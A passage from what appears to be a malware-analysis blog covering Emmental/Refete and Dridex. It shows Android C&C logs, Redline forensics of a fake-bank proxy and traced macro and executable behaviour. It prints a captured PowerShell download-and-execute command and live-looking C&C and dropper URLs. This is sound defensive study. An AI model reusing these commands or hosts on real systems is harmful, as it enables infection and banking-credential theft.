11-17 12:31:33.292: D/[SmsSecure]:Gate:sendRequest(24738): Response=<?xml version="1.0" encoding="utf-8"? > The response for the server. This is a new XML, however the C&C remains the same.

11-17 12:31:33.292: D/[SmsSecure]:Gate:sendRequest(24738):           <config>

11-17 12:31:33.292: D/[SmsSecure]:Gate:sendRequest(24738):             <data rid="25" 

11-17 12:31:33.292: D/[SmsSecure]:Gate:sendRequest(24738):                   shnum10="5556" shtext10="txt10ue" shnum5="2858" shtext5="txt5ue" shnum3="9151" shtext3="txt3ue" shnum1="8151" shtext1="txt1ue" 

11-17 12:31:33.292: D/[SmsSecure]:Gate:sendRequest(24738):                   del_dev="0" 

11-17 12:31:33.292: D/[SmsSecure]:Gate:sendRequest(24738):                   url_main="http://www.mgattiswil.ch/stadl/main.php;http://www.ableitner.co.at/manufaktur/main.php" 

11-17 12:31:33.292: D/[SmsSecure]:Gate:sendRequest(24738):                   url_data="" 

11-17 12:31:33.292: D/[SmsSecure]:Gate:sendRequest(24738):                   url_sms="" 

11-17 12:31:33.292: D/[SmsSecure]:Gate:sendRequest(24738):                   url_log="" 

11-17 12:31:33.292: D/[SmsSecure]:Gate:sendRequest(24738):                   phone_number="" 

11-17 12:31:33.292: D/[SmsSecure]:Gate:sendRequest(24738):   

11-17 12:31:33.292: D/[SmsSecure]:Gate:sendRequest(24738):  download_domain="ttt" 

11-17 12:31:33.292: D/[SmsSecure]:Gate:sendRequest(24738):                   ready_to_bind="0" />

11-17 12:31:33.292: D/[SmsSecure]:Gate:sendRequest(24738):             

11-17 12:31:33.292: D/[SmsSecure]:Gate:sendRequest(24738):           </config>

11-17 12:31:33.292: D/[SmsSecure]:myFunctions:getSecond(24738): Resp=<?xml version="1.0" encoding="utf-8"?>

11-17 12:31:33.292: D/[SmsSecure]:myFunctions:getSecond(24738):           <config>

11-17 12:31:33.292: D/[SmsSecure]:myFunctions:getSecond(24738):             <data rid="25" 

11-17 12:31:33.292: D/[SmsSecure]:myFunctions:getSecond(24738):                   shnum10="5556" shtext10="txt10ue" shnum5="2858" shtext5="txt5ue" shnum3="9151" shtext3="txt3ue" shnum1="8151" shtext1="txt1ue" 

11-17 12:31:33.292: D/[SmsSecure]:myFunctions:getSecond(24738):                   del_dev="0" 

11-17 12:31:33.292: D/[SmsSecure]:myFunctions:getSecond(24738):                   url_main="http://www.mgattiswil.ch/stadl/main.php;http://www.ableitner.co.at/manufaktur/main.php" 

11-17 12:31:33.292: D/[SmsSecure]:myFunctions:getSecond(24738):                   url_data="" 

11-17 12:31:33.292: D/[SmsSecure]:myFunctions:getSecond(24738):                   url_sms="" 

11-17 12:31:33.292: D/[SmsSecure]:myFunctions:getSecond(24738):                   url_log="" 

11-17 12:31:33.292: D/[SmsSecure]:myFunctions:getSecond(24738):                   phone_number="" 

11-17 12:31:33.292: D/[SmsSecure]:myFunctions:getSecond(24738):   

11-17 12:31:33.292: D/[SmsSecure]:myFunctions:getSecond(24738):  download_domain="ttt" 

11-17 12:31:33.292: D/[SmsSecure]:myFunctions:getSecond(24738):     ...

CONF] Get config data from server

11-17 12:31:33.304: D/[SmsSecure]:myFunction.isHasBuffer(24738): use_url_main='http://www.ableitner.co.at/manufaktur/main.php'

11-17 12:31:33.304: D/[SmsSecure]:myFunction.isHasBuffer(24738): use_url_main.length()='46'

11-17 12:31:33.365: D/[SmsSecure]:myFunctions:sendLog(24738): [DATA] Send data to server

11-17 12:31:33.365: D/[SmsSecure]:myFunction.isHasBuffer(24738): use_url_main='http://www.ableitner.co.at/manufaktur/main.php'

11-17 12:31:33.365: D/[SmsSecure]:myFunction.isHasBuffer(24738): use_url_main.length()='46'

11-17 12:31:33.388: D/[SmsSecure]:Gate:sendRequest(24738): sInput=a:4:{s:6:"device";s:738:"QXBwTmFtZT1aS0IgU21zU2VjdXJpdHk7ClZlcnNpb249My4xMDsKOwpEZWZhdWx0QXBwPU5vOwpB

11-17 12:31:33.388: D/[SmsSecure]:Gate:sendRequest(24738): 

11-17 12:31:33.388: D/[SmsSecure]:Gate:sendRequest(24738): IGFybXY3bCB8IG9zLnZlcnNpb246IDMuNC4wLWdiZWJiMzZiIHwgamF2YS52ZW5kb3I6IFRoZSBB

11-17 12:31:33.388: D/[SmsSecure]:Gate:sendRequest(24738): bmRyb2lkIFByb2plY3QgfCBqYXZhLnZlcnNpb246IDA=

11-17 12:31:33.388: D/[SmsSecure]:Gate:sendRequest(24738): ";s:3:"cmd";s:3:"log";s:3:"rid";s:2:"25";s:4:"data";s:72:"a:2:{s:7:"LogCode";s:4:"CONF";s:7:"LogText";s:19:"Check pull off urls";}";} More C&C commands.

11-17 12:31:33.388: D/[SmsSecure]:Gate:sendRequest(24738): Using crypt: SSL

11-17 12:31:33.955: D/[SmsSecure]:Gate:sendRequest(24738): Response=4iImyVpz5T6kkYdmGKz59Wna1u0CcP+kPRJGTeg9RNfCWAqSOvh/ev0U1Y8

Summary

With this approach it is very easy to see the whole life cycle of the malware. I can see how the APK is displayed in the SMS application, how it is downloaded, how it communicates with the C&C, etc. 

In this case, I can see the malware tries to connect to the first C&C URL, but this fails (the response is not the 'OK' the malware is expecting). Then it successfully connects with the second URL which permits to request the public key used to encrypt the communication.

During this process I can see how configuration XML file is adapted with the new information.

Forensic of Refete malware (windows) with Redline

November 18, 2015, 9:37 am

≫ Next: Analysis of Dridex (I) - Analysis of malicious macros with a debugger

≪ Previous: Android malware (emmental) dynamic Analysis with ddms (Dalvik Debug Monitor)

$

0

0

In the previous post I did the debugging (dynamic analysis) of a fresh APK malware which is part of the Emmental campaign. Also, I mentioned that I got a SMS with the malicious link to the APK, but how did I get that link via a SMS? The answer for this will be in this post. 

Although in my previous posts about Emmental I did not mention it, Emmental is not the only name provided to this this campaign. TrendMicro names it Emmental while other vendors, like PaloAlto, names it Refete

The campaign is composed of two malware components: once which infects the Windows systems of the victim and the second one which infectes the Android device of the victim. During the first phase of the attack, when the windows system is infected, the bad guys get access to the bank account credentials of the victim, while in the second phase they get 2FA tokens. Also, in phase 1, the victim is invited to put his phone number in order to receive a SMS with the link to the APK (which is supposed to be a legitimate application from the bank). This is basically how to get the link for the APK which I did for previous post.

In previous post I focused the analysis in the Android malware phase, but at this is linked to the Windows infection I'm going to do a bit of analysis on this phase.

For this, I will use the sample 9ed083fa94a1a4d1153f4566309ccd3294bd851b9fa6aff7b6664ef08e1ddda6 which is distributed by email to the victims.

I will use the forensic tool Redline from FireEye.

The full manual of the tool and how to install it is very well explained in the official documentation. For the purpose of this post, and to not repeat the installation process described in the documentation,  I will focus on the analysis of the evidences once are imported in the tool. Obviously, the system has been infected previously with the malware.

Redline interface 

The interface is quite friendly and very intuitive. It is possible to gather all the information about the system, the network, the processed running, the filesystem, registry, memory sections.. and any relevant information from a forensic point of view.

Performing the analysis 

Checking the processes

When performing forensic I always like to do an overview of the processes running and the network connections as first step. With Redline this is very easy to do. Actually, with the 'Hierachical Processes' menu you have straight forward that view. 

One of the interesting things of Redline is that is able to identify suspicious processes and give some additional information about them. In the screenshot below it has identify two suspicious processes and they have been scored with 93 in the MRI (Malware Risk index) (red arrow). Also, another handy thing is that I can 'tag' some of the evidences (green arrow)  which I consider relevant. In this case, there is a powershell command which looks suspicious to me which which I have tagged in red.

If I double click in each of the process I can see the additional information.  For example, for the process marked by Redline as 'Risky' I can see the information around it.

Also, for the other 'PowerShell' process, I can also  see the details of the process:

Arguments: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command "(New-Object System.Net.WebClient).DownloadFile('http://stars-on-earth.de/neueversion/dtvrtxrcetxrtretec.exe','C:\ProgramData\\Microsoft-KB507196.exe');(New-Object -com Shell.Application).ShellExecute('C:\ProgramData\\Microsoft-KB507196.exe');"

Start time: 2015-11-17 08:42:07Z

Clearly we can see this process is trying to download and EXE file (a dropper, new version of the malware ??) and run it. Also, another interesting evidence is the time when the process was created which can be used as point of reference in the timeline.

Checking the ports

Looking at the ports, I can see all the connections: LISTENING, CLOSED, ESTABLISHED. In this case I am interested in the ESTABLISHED ones and I can see a connection to IP 185.82.216.181 which I label in red.

The IP mentioned below resolves to: tonnelrock.net

Checking the timeline

Looking at the timeline I can see the sequence of events. However, as I already know that some suspicious process timestamp (2015-11-17 08:42:07Z) I can limit the windows frame for the investigation:

I have tagged some evidences I consider relevant. For example, the evidence below, from the LOGS of the system, indicates a Root CA certificate was installed

Going further in the timeline, I also see something suspicious:

There is a change in a REGISTER for the proxy configuration:

https://tonnelrock.net/tonnel.js

This hostname is already familiar to me, from the network connections analysis previously :)

The URL is HTTPS so there is a certificate in the side of the server. Looking at the certificate I see the following:

$ openssl s_client -connect tonnelrock.net:443

CONNECTED(00000003)

depth=0 /C=CH/ST=Zurich/L=Zurich/O=Secure Tonnel/OU=IT/CN=default/emailAddress=me@myhost.mydomain

verify error:num=20:unable to get local issuer certificate

verify return:1

depth=0 /C=CH/ST=Zurich/L=Zurich/O=Secure Tonnel/OU=IT/CN=default/emailAddress=me@myhost.mydomain

verify error:num=27:certificate not trusted

verify return:1

depth=0 /C=CH/ST=Zurich/L=Zurich/O=Secure Tonnel/OU=IT/CN=default/emailAddress=me@myhost.mydomain

verify error:num=21:unable to verify the first certificate

verify return:1

---

Certificate chain

 0 s:/C=CH/ST=Zurich/L=Zurich/O=Secure Tonnel/OU=IT/CN=default/emailAddress=me@myhost.mydomain

   i:/C=US/ST=CA/L=SanFrancisco/O="thawte, Inc."/OU=Certification Services Division/CN=thawte Primary Root CA - G4/emailAddress=

---

Server certificate

-----BEGIN CERTIFICATE-----

MIIHVjCCBT6gAwIBAgICAPQwDQYJKoZIhvcNAQEFBQAwgawxCzAJBgNVBAYTAlVT

....

UKT8c8+pMujMHzcZ0C/D2kwwuz6aFLR2bGby3ODudXekeDq+abB5V6EIviiAy6sm

88+zbeLKTQnecN1m28BkspBAJsp/YEhTtsusDV0mVL42qYNLF4sCxibOvMzTfzCZ

078tuv4HZ41zCNAu9gwis6/oDEfYDx//gCWncfIeix1+yg9zzQgQGtiXfZOVmENZ

S527xNXnRQmryZcIk9c6oQFzDK6fSWKjwcsEeQYjlfaRlB7IPoTQJrLAVDDpqYzN

ifpf7FdMMVnANg==

-----END CERTIFICATE-----

subject=/C=CH/ST=Zurich/L=Zurich/O=Secure Tonnel/OU=IT/CN=default/emailAddress=me@myhost.mydomain

issuer=/C=US/ST=CA/L=SanFrancisco/O="thawte, Inc."/OU=Certification Services Division/CN=thawte Primary Root CA - G4/emailAddress=

---

No client certificate CA names sent

---

SSL handshake has read 2051 bytes and written 712 bytes

---

New, TLSv1/SSLv3, Cipher is AES256-SHA

Server public key is 4096 bit

Secure Renegotiation IS supported

Compression: NONE

Expansion: NONE

SSL-Session:

    Protocol  : TLSv1

    Cipher    : AES256-SHA

    Session-ID: 1E76B036BC3963A968D8645440DD08B4BF6512CD539E321D08BF22A2B0237D46

    Session-ID-ctx:

    Master-Key: 235601F367B3F5FD9C1F4E9BE0DC5C19A55D205FF05FD47E1FF93B20AC19A97DF2E46F3AFE697853201D0B50B7C85BC3

    Key-Arg   : None

    Start Time: 1447842834

    Timeout   : 300 (sec)

    Verify return code: 21 (unable to verify the first certificate)

Interesting the CN field in the certificate. This matches the Root CA certificated installed.

Looking further in the timeline, I see there are some interesting URL accesses. This evidences are gathered by Redline from the browser and included in the timeline. Really handy :)

The URL accessed is from a Swiss Bank https://onba.zkb.ch.  However is the URL accessed by the victim the real one or a fake one?. The host onba.zkb.ch resolves to the IP 62.240.192.149, but there is not any connection to that IP in evidences, however there is a connection to the proxy IP (185.82.216.181) as showed previously in the post. This means basically the URL surfed is not going to the real IP directly, hence likely is the the fake portal.

Actually, digging in the logs we can see there are more access to that URL:

If I try to access one of the static resources, like for example https://onba.zkb.ch/image/ch/zkb/slv/onba/resource/common/bank_logo.jpg I can see the resources doesn't exist: 

$ wget https://onba.zkb.ch/image/ch/zkb/slv/onba/resource/common/bank_logo.jpg

--2015-11-18 12:25:15--  https://onba.zkb.ch/image/ch/zkb/slv/onba/resource/common/bank_logo.jpg

Resolving onba.zkb.ch... 62.240.192.149

Connecting to onba.zkb.ch|62.240.192.149|:443... connected.

HTTP request sent, awaiting response... 404 Not Found

2015-11-18 12:25:15 ERROR 404: Not Found.

That basically confirms that the website was a fake one and that was presented to the victim as the real one in order to steal the bank credentials.

Also, this matches the connection detected to the proxy 185.82.216.181

What is the role of the certificate installed? Basically, the certificate installed allows to present the victim a website with a certificate (HTTPS) without any kind of warning, hence the victim doesn't suspect.

How is the SMS sent? once  the user has accessed his bank account, the fake website asks for the phone number in order to send the application(fake) necessary to access the bank.

Summary

Redline is a very useful tool to perform forensic analysis in Windows. it is very easy to setup and the GUI interface is very friendly to use. The timeline is very powerful as it includes all the evidences which makes very easy to follow up the analysis.

Also, it is possible to investigate specific evidences with a simple click. In this case we saw processes, registers, network connection, logs from the browser.

Regarding Emmental / Refete, I checked briefly what the malware does. Once the binary is executed, it install a Root CA Cert and configure a proxy to redirect the traffic to it. This permits to present the user fake bank websites in order to steal the credentials.

Analysis of Dridex (I) - Analysis of malicious macros with a debugger

December 20, 2015, 3:51 pm

≫ Next: Analysis of Dridex (II) - Analysis of malicious executables with ProcDOT

≪ Previous: Forensic of Refete malware (windows) with Redline

$

0

0

A few day ago I had to investigate an email which contained a suspicious attachment. The attachment was a MS Office Word document using macros. The file is already in VT (d6fe6d4bffe60ea7bff109655426872bed44cbc3376249db7d9925a36b6e089c)

In this first post I am going to describe how it is possible to analyse MS Office files containing Macros. In further post I will describe how to perform malware analysis of the downloaded file, which it is an EXE file.

For the analysis, I will be using two main tools:

• oletools: included in Remnux v6.
• VBA debugger: included in MS office 

'python-oletools is a package of python tools to analyze Microsoft OLE2 files (also called Structured Storage, Compound File Binary Format or Compound Document File Format), such as Microsoft Office documents or Outlook messages, mainly for malware analysis, forensics and debugging. It is based on my olefile parser' (source: http://www.decalage.info/python/oletools) 

The first thing is to check the metadata of the document with olemeta.py. The information provided shows that there is already something suspicious:

Using the command oleid.py it is possible to detect that the file contains some VBA (Visual Basic) Macros

With oledump.py it is possible to display more information about the Macros. In this case, the 'M' on the right side, means that there is a Macro:

The Macros could also be dumped with  oledump.py  and some specific parameters. For example: oledump.py -s 7 -v suspicious.doc  > Module1 

However, in this case I am going to do the dynamic analysis through the MS Office debugger for VBA.

Debugging Macros

When opening the document  in a sandbox there is an alert indicating the existence of Macros, which are not enable by default for security reasons:

Pressing ALT+F11 the debugger is open and clearly the Macros detected previously ThisDocument and Module1 are there:

The macro ThisDocument calls to a Function GetFolder which is inside the Module1 macro. This function is called once the file is open. GetFolder declares some interesting variables:

Now it it time to run the Macro. We can do it with F8 in order to debug it step by step. In the mean time, we can see the content of the variables (objects) in the Locals Window. 

The function WarpChar is used to generated the URL where the malware is stored. So basically, this macro is acting as dropper. The URL where the malware is stored is http://valleymotorcycles.com/87tf6d45/90u7f65d.exe 

We can see, through more debugging that the file download by the Dropper is kept as C:\Users\angel\AppData\Local\Temp\eccexlexb.exe

Later on, the file is executed through an 'open' function.

Modify Macros to display some debugging messages

Another alternative is to display debugging windows messages while the macro is being executed. For example, with the instruction "MsgBox".

Similar approach can be used to show where the dropper has been stored: 

   'MsgBox "The name of the stored file is: "& ShowSaveFil5'

Network traffic

While doing the analysis I captured the traffic in order to detect the network traffic generated and to be able to keep the malware file. 

With this approach and set of tools I have been able to understand what the Macro embebed in an MS office document does. In this case it basically acts as dropper to download a file and execute it.

In following post I will reverse the malware downloaded

Analysis of Dridex (II) - Analysis of malicious executables with ProcDOT

December 25, 2015, 10:32 am

≫ Next: Analysis of Dridex using GRR Rapid Response Framework

≪ Previous: Analysis of Dridex (I) - Analysis of malicious macros with a debugger

$

0

0

During the last post I ended up with an executable file downloaded by a malicious macro embedded in a MS Office Word file. This was the first part of the infection.

Dridex has been in the wild for a while and has evolved with the time in order to by-pass security controls and be more difficult to detect. The first phase of the infection, through the weaponization of a MS Office doc, usually has been similar and the main technique has been always to trick and fool the victim in order to enable macros, which afterwards download the executable file.

There is a good paper about the historical analysis of Dridex in terms of the network traffic in SANS reading room.

As I said in the first post I managed to get an executable and along this post I will explain the steps I follow to analyse the executable.

The tools I use:

• Virtual Machine running Windows 7 64bit: where the malware will run.
• Process Monitor (ProcMon): running in the Windows VM machine. This tool captures everything happening in the system (files, registers, processes, threads, etc)
• Wireshark: running in the Windows VM machine. Captures all network traffic in the infected system.
• ProcDOT: Links all the events captured by ProcMon with the captured network traffic in order to create a visual graph which permits to follow up easily the set of steps.

There are several manuals and blogs about how to setup the tools, so I am not going to repeat the same again :-). Some easy going guides are here and here.

The EXE file (1074ba1f0b56d503ff088d31dcb55b1fc8ba2bbc8cd002f4ebcfe617acd6125a) is in VT since yesterday, in case someone want to take a look.

Once we have executed the malware in the VM Machine and the events have been captured with ProcMon, saved as CSV, and we have done the same with the network traffic (exported as .pcap), we can import in in ProcDOT (running in Remnux) as showed in the screenshow below:

Note that I have just renamed the EXE file as 'file.exe' and in the 'Launcher' box this is the process I choose.


Now it is time to produce the graph:



While running ProcDot, on the bottom of the window, I can visualise and follow the set of events the step-by-step.

Following the flow of events it is possible to spot when a new thread is invoked or created by a process:

Or when a thread is injected in a process:

Information about network traffic is gathered:

The interaction with the filesystem is there as well:

 

Anything related to Windows registers (create, accessed, modified):

When a DLL is loaded:

All this information, together with the data from ProcMon (stored in a file) is really key to follow up the infection.

What is this Dridex sample doing?

Preparing the network through accessing several registers

During the first phase, one of the threads of the malware, is in charge of checking the network settings and configure some specificregisters. 

• Read:HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections\DefaultConnectionSettings
• Write: HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Content\CachePrefix
• "23:12:14.7450229","file.exe","4960","RegSetValue","HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Content\CachePrefix","SUCCESS","Type: REG_SZ, Length: 2, Data: ","2372"
• Write: HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Cookies\CachePrefix
• "23:12:14.7469883","file.exe","4960","RegSetValue","HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Cookies\CachePrefix","SUCCESS","Type: REG_SZ, Length: 16, Data: Cookie:","2372"
• Write: HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Cookies\CachePrefix
• "23:12:14.7486601","file.exe","4960","RegSetValue","HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\History\CachePrefix","SUCCESS","Type: REG_SZ, Length: 18, Data: Visited:","2372"
• Read HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ProxyEnable
• "23:12:14.7636584","file.exe","4960","RegQueryValue","HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ProxyEnable","SUCCESS","Type: REG_DWORD, Length: 4, Data: 0","2372"
• Read HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections\SavedLegacySettings
• "23:12:14.7637494","file.exe","4960","RegQueryValue","HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections\SavedLegacySettings","SUCCESS","Type: REG_BINARY, Length: 184, Data: 46 00 00 00 39 00 00 00 09 00 00 00 00 00 00 00","2372
• Read HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections\DefaultConnectionSettings
• "23:12:14.7638545","file.exe","4960","RegQueryValue","HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections\DefaultConnectionSettings","SUCCESS","Type: REG_BINARY, Length: 184, Data: 46 00 00 00 21 00 00 00 09 00 00 00 00 00 00 00","2372"
• Write HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ProxyEnable
• "23:12:14.7639128","file.exe","4960","RegSetValue","HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ProxyEnable","SUCCESS","Type: REG_DWORD, Length: 4, Data: 0","2372"
• Write HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet"
• 23:12:14.7709781","file.exe","4960","RegSetValue","HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet","SUCCESS","Type: REG_DWORD, Length: 4, Data: 0","2372" 
• Write HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect
• "23:12:14.7709864","file.exe","4960","RegSetValue","HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect","SUCCESS","Type: REG_DWORD, Length: 4, Data: 1","2372" 

Then there are some access to registers (read, write and delete) related to WPAD (Web Proxy Automatic Discovery). 

"23:12:14.8157365","file.exe","4960","RegQueryValue","HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{2879F78E-B8EB-4655-9FB3-D0589323F6F7}\WpadDecision","SUCCESS","Type: REG_DWORD, Length: 4, Data: 0","792"

"23:12:14.8157438","file.exe","4960","RegQueryValue","HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{2879F78E-B8EB-4655-9FB3-D0589323F6F7}\WpadDecisionTime","SUCCESS","Type: REG_BINARY, Length: 8, Data: 70 66 92 08 90 3E D1 01","792"

"23:12:14.8158211","file.exe","4960","RegQueryValue","HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{2879F78E-B8EB-4655-9FB3-D0589323F6F7}\WpadDecisionReason","SUCCESS","Type: REG_DWORD, Length: 4, Data: 1","792"

"23:12:14.8159248","file.exe","4960","RegQueryValue","HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-ef-ef-ce\WpadDecision","SUCCESS","Type: REG_DWORD, Length: 4, Data: 0","792"

"23:12:14.8159318","file.exe","4960","RegQueryValue","HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-ef-ef-ce\WpadDecisionTime","SUCCESS","Type: REG_BINARY, Length: 8, Data: 70 66 92 08 90 3E D1 01","792"

"23:12:14.8159387","file.exe","4960","RegQueryValue","HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-ef-ef-ce\WpadDecisionReason","SUCCESS","Type: REG_DWORD, Length: 4, Data: 1","792"

"23:12:14.8160255","file.exe","4960","RegSetValue","HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-ef-ef-ce\WpadDecisionReason","SUCCESS","Type: REG_DWORD, Length: 4, Data: 1","792"

"23:12:14.8160366","file.exe","4960","RegSetValue","HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-ef-ef-ce\WpadDecisionTime","SUCCESS","Type: REG_BINARY, Length: 8, Data: 70 66 92 08 90 3E D1 01","792"

"23:12:14.8160428","file.exe","4960","RegSetValue","HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-ef-ef-ce\WpadDecision","SUCCESS","Type: REG_DWORD, Length: 4, Data: 0","792"

"23:12:14.8158425","file.exe","4960","RegQueryValue","HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{2879F78E-B8EB-4655-9FB3-D0589323F6F7}\WpadDetectedUrl","NAME NOT FOUND","Length: 144","792"

"23:12:14.8159555","file.exe","4960","RegQueryValue","HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-ef-ef-ce\WpadDetectedUrl","SUCCESS","Type: REG_SZ, Length: 2, Data: ","792"

"23:12:14.8160546","file.exe","4960","RegSetValue","HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-ef-ef-ce\WpadDetectedUrl","SUCCESS","Type: REG_SZ, Length: 2, Data: ","792"

"23:12:17.4741684","file.exe","4960","RegDeleteValue","HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{2879F78E-B8EB-4655-9FB3-D0589323F6F7}\WpadDetectedUrl","NAME NOT FOUND","","4384"

"23:12:17.4743114","file.exe","4960","RegDeleteValue","HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-ef-ef-ce\WpadDetectedUrl","SUCCESS","","4384"

"23:12:17.4744248","file.exe","4960","RegQueryValue","HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-ef-ef-ce\WpadDetectedUrl","NAME NOT FOUND","Length: 144","4384"

"23:12:17.4744675","file.exe","4960","RegDeleteValue","HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-ef-ef-ce\WpadDetectedUrl","NAME NOT FOUND","","4384"

Connection to C&C  23.88.104.64 on port 243/TCP

Following to this, the malware connects to the C&C as can be seen in the logs from ProcessMonitor

"23:12:15.0342773","file.exe","4960","TCP Connect","192.168.1.5:49863 -> 23.88.104.64:243","SUCCESS","Length: 0, mss: 1460, sackopt: 0, tsopt: 0, wsopt: 0, rcvwin: 64240, rcvwinscale: 0, sndwinscale: 0, seqnum: 0, connid: 0","0"

"23:12:15.0424283","file.exe","4960","TCP Send","192.168.1.5:49863 -> 23.88.104.64:243","SUCCESS","Length: 160, startime: 243947, endtime: 243947, seqnum: 0, connid: 0","0"

"23:12:15.2373867","file.exe","4960","TCP Receive","192.168.1.5:49863 -> 23.88.104.64:243","SUCCESS","Length: 977, seqnum: 0, connid: 0","0"

During the communication there are some specific items configured, likely as a result of the commands sent by the C&C.

Setting the language List

A register related to the Language is setup as en-US.

"23:12:15.5676959","file.exe","4960","RegSetValue","HKCU\Software\Classes\Local Settings\MuiCache\50\52C64B7E\LanguageList","SUCCESS","Type: REG_MULTI_SZ, Length: 20, Data: en-US, en","2372"

Setting a unique ID to identify the compromised host

A unique ID is assigned in a specific register. 

"23:12:16.5362192","file.exe","4960","RegSetValue","HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\CLSID\{99885010-7AE0-0140-9910-EDA8E5CA4696}\ShellFolder\0","SUCCESS","Type: REG_BINARY, Length: 470, Data: A5 EB 36 77 5A 8E 64 34 A4 32 DF 9A D6 E8 78 AA","2372"

Setting WPAD configuration

Some registers for the WPAD are again modified.

23:12:17.4740557","file.exe","4960","RegSetValue","HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{2879F78E-B8EB-4655-9FB3-D0589323F6F7}\WpadDecisionReason","SUCCESS","Type: REG_DWORD, Length: 4, Data: 1","4384"

"23:12:17.4740646","file.exe","4960","RegSetValue","HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{2879F78E-B8EB-4655-9FB3-D0589323F6F7}\WpadDecisionTime","SUCCESS","Type: REG_BINARY, Length: 8, Data: 79 02 A4 26 98 3E D1 01","4384"

"23:12:17.4741473","file.exe","4960","RegSetValue","HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{2879F78E-B8EB-4655-9FB3-D0589323F6F7}\WpadDecision","SUCCESS","Type: REG_DWORD, Length: 4, Data: 0","4384"

"23:12:17.4742259","file.exe","4960","RegSetValue","HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-ef-ef-ce\WpadDecisionReason","SUCCESS","Type: REG_DWORD, Length: 4, Data: 1","4384"

"23:12:17.4742322","file.exe","4960","RegSetValue","HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-ef-ef-ce\WpadDecisionTime","SUCCESS","Type: REG_BINARY, Length: 8, Data: 79 02 A4 26 98 3E D1 01","4384"

"23:12:17.4743048","file.exe","4960","RegSetValue","HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-ef-ef-ce\WpadDecision","SUCCESS","Type: REG_DWORD, Length: 4, Data: 0","4384"

Downloading a file from the C&C

During the communication with the C&C there is quite a few data transmitted. This looks like the infected host is downloading some file

"23:12:17.7427869","file.exe","4960","TCP Send","192.168.1.5:49864 -> 23.88.104.64:243","SUCCESS","Length: 192, startime: 243974, endtime: 243974, seqnum: 0, connid: 0","0"

"23:12:20.5362365","file.exe","4960","TCP Disconnect","192.168.1.5:49864 -> 23.88.104.64:243","SUCCESS","Length: 0, seqnum: 0, connid: 0","0"

Thread injection

Threat creation and injection into Explorer.exe

Some new thread is created by the main file.exe process.

This new thread is injected in the Explorer.exe:

Then, the Explorer.exe generates another thread: 4755-n164

Temporal file created

There is a temporal file created by the the thread 4755-n164 which has been created by the thread injected into Explorer.exe (4456-n162)

The most suspicious thing here is that the file is stored where all the keys (public/private) keys are stored, which means that the file is a key/certificate.  

"23:12:22.1647265","Explorer.EXE","2960","CreateFile","C:\Users\angel\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-3207478364-1257758836-272776370-1001\50acd1cc9d8c60665c5c9c0c498ede76_88854119-2691-4352-be47-af20ed1e43f7","SUCCESS","Desired Access: Generic Write, Read Attributes, Disposition: Open, Options: Synchronous IO Non-Alert, Non-Directory File, Attributes: S, ShareMode: None, AllocationSize: n/a, OpenResult: Opened","4756"

"23:12:22.1650013","Explorer.EXE","2960","ReadFile","C:\Users\angel\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-3207478364-1257758836-272776370-1001\50acd1cc9d8c60665c5c9c0c498ede76_88854119-2691-4352-be47-af20ed1e43f7","SUCCESS","Offset: 0, Length: 46, I/O Flags: Non-cached, Paging I/O, Synchronous Paging I/O, Priority: Normal","4756"

